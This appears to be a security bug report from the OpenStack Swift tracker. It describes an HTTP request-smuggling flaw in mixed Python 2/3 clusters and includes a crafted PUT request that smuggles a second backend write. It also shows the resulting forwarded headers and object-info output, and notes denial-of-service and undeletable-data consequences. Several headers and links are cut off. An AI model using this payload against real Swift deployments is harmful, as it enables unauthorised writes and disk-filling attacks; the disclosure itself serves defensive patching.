Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack Object Storage (swift) |
Fix Released
|
Undecided
|
Unassigned | ||
OpenStack Security Advisory |
Won't Fix
|
Undecided
|
Unassigned |
Bug Description
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-
X-Auth-Token: AUTH_tk71fece73
Transfer-
aa
PUT /sdb1/0/
Content-Length: 4
X-Timestamp: 9999999999.
Content-Type: text/evil
X-Backend-
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
PUT /sdb1/312/
Accept-Encoding: identity
Expect: 100-continue
X-Container-
Content-Length: 4
X-Object-
Connection: close
X-Auth-Token: AUTH_tk71fece73
Content-Type: application/
X-Backend-
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://
Transfer-
X-Trans-Id: txef407697a8c14
X-Backend-
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/
Content-Length: 4
X-Timestamp: 9999999999.
Content-Type: text/evil
X-Backend-
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a
Content-Type: text/evil
Timestamp: 2286-11-
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee152
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ[
[1] https:/
[2] https:/
[3] https:/
[4] https:/
Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.